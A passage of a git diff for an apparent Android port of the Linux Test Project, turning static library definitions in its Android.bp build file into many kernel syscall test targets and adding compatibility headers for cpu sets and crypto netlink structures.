+    static_libs: ["libltp_ltp"],
 }
 
-cc_library_static {
-    name: "libltp_ipc",
-    defaults: ["ltp_defaults"],
-    local_include_dirs: [
-        "include",
-        "include/old",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    srcs: [
-        "testcases/kernel/syscalls/ipc/lib/libipc.c",
-        "testcases/kernel/syscalls/ipc/lib/libmsgctl.c",
-    ],
+cc_test {
+    name: "ltp_tst_res_hexd",
+    stem: "tst_res_hexd",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_res_hexd.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
-cc_library_static {
-    name: "libltp_mem",
-    defaults: ["ltp_defaults"],
+cc_test {
+    name: "ltp_tst_resm",
+    stem: "tst_resm",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_rod",
+    stem: "tst_rod",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_rod.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_safe_fileops",
+    stem: "tst_safe_fileops",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_safe_fileops.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_safe_macros",
+    stem: "tst_safe_macros",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_safe_macros.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_sleep",
+    stem: "tst_sleep",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_sleep.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_strerrno",
+    stem: "tst_strerrno",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_strerrno.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_strsig",
+    stem: "tst_strsig",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_strsig.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_strstatus",
+    stem: "tst_strstatus",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_strstatus.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_supported_fs",
+    stem: "tst_supported_fs",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_supported_fs.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_tmpdir_test",
+    stem: "tst_tmpdir_test",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_tmpdir_test.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_uaccess",
+    stem: "uaccess",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/uaccess/uaccess.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_umask01",
+    stem: "umask01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/umask/umask01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_umount01",
+    stem: "umount01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/umount/umount01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_umount02",
+    stem: "umount02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/umount/umount02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_umount03",
+    stem: "umount03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/umount/umount03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_umount2_01",
+    stem: "umount2_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/umount2/umount2_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_umount2_02",
+    stem: "umount2_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/umount2/umount2_02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_umount2_03",
+    stem: "umount2_03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/umount2/umount2_03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_uname01",
+    stem: "uname01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/uname/uname01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_uname02",
+    stem: "uname02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/uname/uname02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_uname03",
+    stem: "uname03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/uname/uname03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_uname04",
+    stem: "uname04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/uname/uname04.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_unlink05",
+    stem: "unlink05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/unlink/unlink05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_unlink07",
+    stem: "unlink07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/unlink/unlink07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_unlink08",
+    stem: "unlink08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/unlink/unlink08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_unlinkat01",
+    stem: "unlinkat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/unlinkat/unlinkat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_unshare01",
+    stem: "unshare01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/unshare/unshare01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_unshare02",
+    stem: "unshare02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/unshare/unshare02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ustat01",
+    stem: "ustat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ustat/ustat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ustat02",
+    stem: "ustat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ustat/ustat02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utime01",
+    stem: "utime01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utime/utime01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utime02",
+    stem: "utime02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utime/utime02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utime03",
+    stem: "utime03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utime/utime03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utime04",
+    stem: "utime04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utime/utime04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utime05",
+    stem: "utime05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utime/utime05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utime06",
+    stem: "utime06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utime/utime06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utimensat01",
+    stem: "utimensat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utimensat/utimensat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_utimes01",
+    stem: "utimes01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/utimes/utimes01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_verify_caps_exec",
+    stem: "verify_caps_exec",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/filecaps/verify_caps_exec.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_vfork",
+    stem: "vfork",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/controllers/freezer/vfork.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_vfork01",
+    stem: "vfork01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/vfork/vfork01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_vfork02",
+    stem: "vfork02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/vfork/vfork02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_vhangup01",
+    stem: "vhangup01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/vhangup/vhangup01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_vhangup02",
+    stem: "vhangup02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/vhangup/vhangup02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_vma01",
+    stem: "vma01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/vma/vma01.c"],
     local_include_dirs: [
-        "testcases/kernel/include",
-        "include",
-        "include/old",
         "testcases/kernel/mem/include",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    srcs: [
-        "testcases/kernel/mem/lib/mem.c",
-    ],
-}
-
-cc_library_static {
-    name: "libltp_hugetlb",
-    defaults: ["ltp_defaults"],
-    local_include_dirs: [
         "testcases/kernel/include",
-        "include",
         "include/old",
-        "testcases/kernel/mem/include",
     ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    srcs: [
-        "testcases/kernel/mem/hugetlb/lib/hugetlb.c",
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
     ],
 }
 
-cc_library_static {
-    name: "libltp_ltp",
-    defaults: ["ltp_defaults"],
+cc_test {
+    name: "ltp_vma02",
+    stem: "vma02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/vma/vma02.c"],
     local_include_dirs: [
-        "include",
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
         "include/old",
-        "lib",
     ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DLTPLIB",
-    ],
-    srcs: [
-        "lib/tst_safe_sysv_ipc.c",
-        "lib/tst_mkfs.c",
-        "lib/tst_path_has_mnt_flags.c",
-        "lib/tst_process_state.c",
-        "lib/tst_fs_type.c",
-        "lib/tst_fill_fs.c",
-        "lib/tst_res.c",
-        "lib/tst_sig.c",
-        "lib/tst_net.c",
-        "lib/tst_timer_test.c",
-        "lib/tst_ansi_color.c",
-        "lib/safe_pthread.c",
-        "lib/tst_timer.c",
-        "lib/safe_file_ops.c",
-        "lib/safe_stdio.c",
-        "lib/tst_sig_proc.c",
-        "lib/tst_device.c",
-        "lib/safe_macros.c",
-        "lib/tst_tmpdir.c",
-        "lib/random_range.c",
-        "lib/get_path.c",
-        "lib/tst_virt.c",
-        "lib/tst_parse_opts.c",
-        "lib/tst_kvercmp.c",
-        "lib/self_exec.c",
-        "lib/tst_supported_fs_types.c",
-        "lib/tst_run_cmd.c",
-        "lib/tst_pid.c",
-        "lib/parse_opts.c",
-        "lib/get_high_address.c",
-        "lib/tst_checkpoint.c",
-        "lib/tst_clocks.c",
-        "lib/tst_safe_macros.c",
-        "lib/tst_kernel.c",
-        "lib/tst_test.c",
-        "lib/tlibio.c",
-        "lib/tst_dir_is_empty.c",
-        "lib/tst_status.c",
-        "lib/tst_cpu.c",
-        "lib/safe_net.c",
-        "lib/tst_resource.c",
-        "lib/tst_fs_link_count.c",
-        "lib/tst_module.c",
-        "lib/tst_fs_has_free.c",
-        "lib/tst_fill_file.c",
-        "lib/cloner.c",
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
     ],
 }
+
+cc_test {
+    name: "ltp_vma03",
+    stem: "vma03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/vma/vma03.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_vma04",
+    stem: "vma04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/vma/vma04.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_vma05_vdso",
+    stem: "vma05_vdso",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/mem/vma/vma05_vdso.c"],
+    local_include_dirs: [
+        "testcases/kernel/mem/include",
+        "testcases/kernel/include",
+        "include/old",
+    ],
+    static_libs: [
+        "libltp_mem",
+        "libltp_kerntest",
+        "libltp_ltp",
+    ],
+}
+
+cc_test {
+    name: "ltp_vmsplice01",
+    stem: "vmsplice01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/vmsplice/vmsplice01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_vmsplice02",
+    stem: "vmsplice02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/vmsplice/vmsplice02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wait01",
+    stem: "wait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/wait/wait01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wait02",
+    stem: "wait02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/wait/wait02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wait401",
+    stem: "wait401",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/wait4/wait401.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_wait402",
+    stem: "wait402",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/wait4/wait402.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid01",
+    stem: "waitid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitid02",
+    stem: "waitid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitid/waitid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid01",
+    stem: "waitpid01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid02",
+    stem: "waitpid02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid03",
+    stem: "waitpid03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid04",
+    stem: "waitpid04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid05",
+    stem: "waitpid05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid06",
+    stem: "waitpid06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid07",
+    stem: "waitpid07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid08",
+    stem: "waitpid08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid09",
+    stem: "waitpid09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid10",
+    stem: "waitpid10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid11",
+    stem: "waitpid11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid12",
+    stem: "waitpid12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid12.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_waitpid13",
+    stem: "waitpid13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/waitpid/waitpid13.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_write01",
+    stem: "write01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/write/write01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_write02",
+    stem: "write02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/write/write02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_write03",
+    stem: "write03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/write/write03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_write04",
+    stem: "write04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/write/write04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_write05",
+    stem: "write05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/write/write05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_writetest",
+    stem: "writetest",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/writetest/writetest.c"],
+    cflags: [
+        "-D_LARGEFILE_SOURCE",
+        "-D_LARGEFILE64_SOURCE",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_writev01",
+    stem: "writev01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/writev/writev01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_writev02",
+    stem: "writev02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/writev/writev02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_writev05",
+    stem: "writev05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/writev/writev05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_writev06",
+    stem: "writev06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/writev/writev06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_writev07",
+    stem: "writev07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/writev/writev07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_zram03",
+    stem: "zram03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/zram/zram03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
diff --git a/include/lapi/cpuset.h b/include/lapi/cpuset.h
new file mode 100644
index 0000000..b946650
--- /dev/null
+++ b/include/lapi/cpuset.h
@@ -0,0 +1,63 @@
+/*
+ * Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Some old libcs (like glibc < 2.7) do not provide interfaces for
+ * dynamically sized cpu sets, but provide only static cpu_set_t type
+ * with no more than CPU_SETSIZE cpus in it.
+ *
+ * This file is a wrapper of the dynamic interfaces using the static ones.
+ *
+ * If the number of cpus available on the system is greater than
+ * CPU_SETSIZE, this interface will not work. Update libc in this case :)
+ */
+
+#define _GNU_SOURCE
+#include <sched.h>
+
+#ifndef LTP_CPUSET_H
+#define LTP_CPUSET_H
+
+#ifndef CPU_ALLOC
+#define CPU_ALLOC(ncpus) malloc(sizeof(cpu_set_t)); \
+if (ncpus > CPU_SETSIZE) { \
+	tst_brkm(TCONF, cleanup, \
+		"Your libc does not support masks with %ld cpus", ncpus); \
+}
+#endif
+
+#ifndef CPU_FREE
+#define CPU_FREE(ptr) free(ptr)
+#endif
+
+#ifndef CPU_ALLOC_SIZE
+#define CPU_ALLOC_SIZE(size) sizeof(cpu_set_t)
+#endif
+
+#ifndef CPU_ZERO_S
+#define CPU_ZERO_S(size, mask) CPU_ZERO(mask)
+#endif
+
+#ifndef CPU_SET_S
+#define CPU_SET_S(cpu, size, mask) CPU_SET(cpu, mask)
+#endif
+
+#ifndef CPU_ISSET_S
+#define CPU_ISSET_S(cpu, size, mask) CPU_ISSET(cpu, mask)
+#endif
+
+#endif /* LTP_CPUSET_H */
diff --git a/include/lapi/cryptouser.h b/include/lapi/cryptouser.h
new file mode 100644
index 0000000..94d6414
--- /dev/null
+++ b/include/lapi/cryptouser.h
@@ -0,0 +1,194 @@
+/*
+ * Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef CRYPTOUSER_H__
+#define CRYPTOUSER_H__
+
+#ifdef HAVE_LINUX_CRYPTOUSER_H
+#  include <linux/cryptouser.h>
+#else
+#  include <stdint.h>
+#  define CRYPTO_MAX_NAME 64
+
+enum {
+	CRYPTO_MSG_BASE = 0x10,
+	CRYPTO_MSG_NEWALG = 0x10,
+	CRYPTO_MSG_DELALG,
+	CRYPTO_MSG_UPDATEALG,
+	CRYPTO_MSG_GETALG,
+	CRYPTO_MSG_DELRNG,
+	__CRYPTO_MSG_MAX
+};
+
+enum crypto_attr_type_t {
+	CRYPTOCFGA_UNSPEC,
+	CRYPTOCFGA_PRIORITY_VAL,	/* uint32_t */
+	CRYPTOCFGA_REPORT_LARVAL,	/* struct crypto_report_larval */
+	CRYPTOCFGA_REPORT_HASH,		/* struct crypto_report_hash */
+	CRYPTOCFGA_REPORT_BLKCIPHER,	/* struct crypto_report_blkcipher */
+	CRYPTOCFGA_REPORT_AEAD,		/* struct crypto_report_aead */
+	CRYPTOCFGA_REPORT_COMPRESS,	/* struct crypto_report_comp */
+	CRYPTOCFGA_REPORT_RNG,		/* struct crypto_report_rng */
+	CRYPTOCFGA_REPORT_CIPHER,	/* struct crypto_report_cipher */
+	CRYPTOCFGA_REPORT_AKCIPHER,	/* struct crypto_report_akcipher */
+	CRYPTOCFGA_REPORT_KPP,		/* struct crypto_report_kpp */
+	CRYPTOCFGA_REPORT_ACOMP,	/* struct crypto_report_acomp */
+	__CRYPTOCFGA_MAX
+
+#define CRYPTOCFGA_MAX (__CRYPTOCFGA_MAX - 1)
+};
+
+struct crypto_user_alg {
+	char cru_name[CRYPTO_MAX_NAME];
+	char cru_driver_name[CRYPTO_MAX_NAME];
+	char cru_module_name[CRYPTO_MAX_NAME];
+	uint32_t cru_type;
+	uint32_t cru_mask;
+	uint32_t cru_refcnt;
+	uint32_t cru_flags;
+};
+
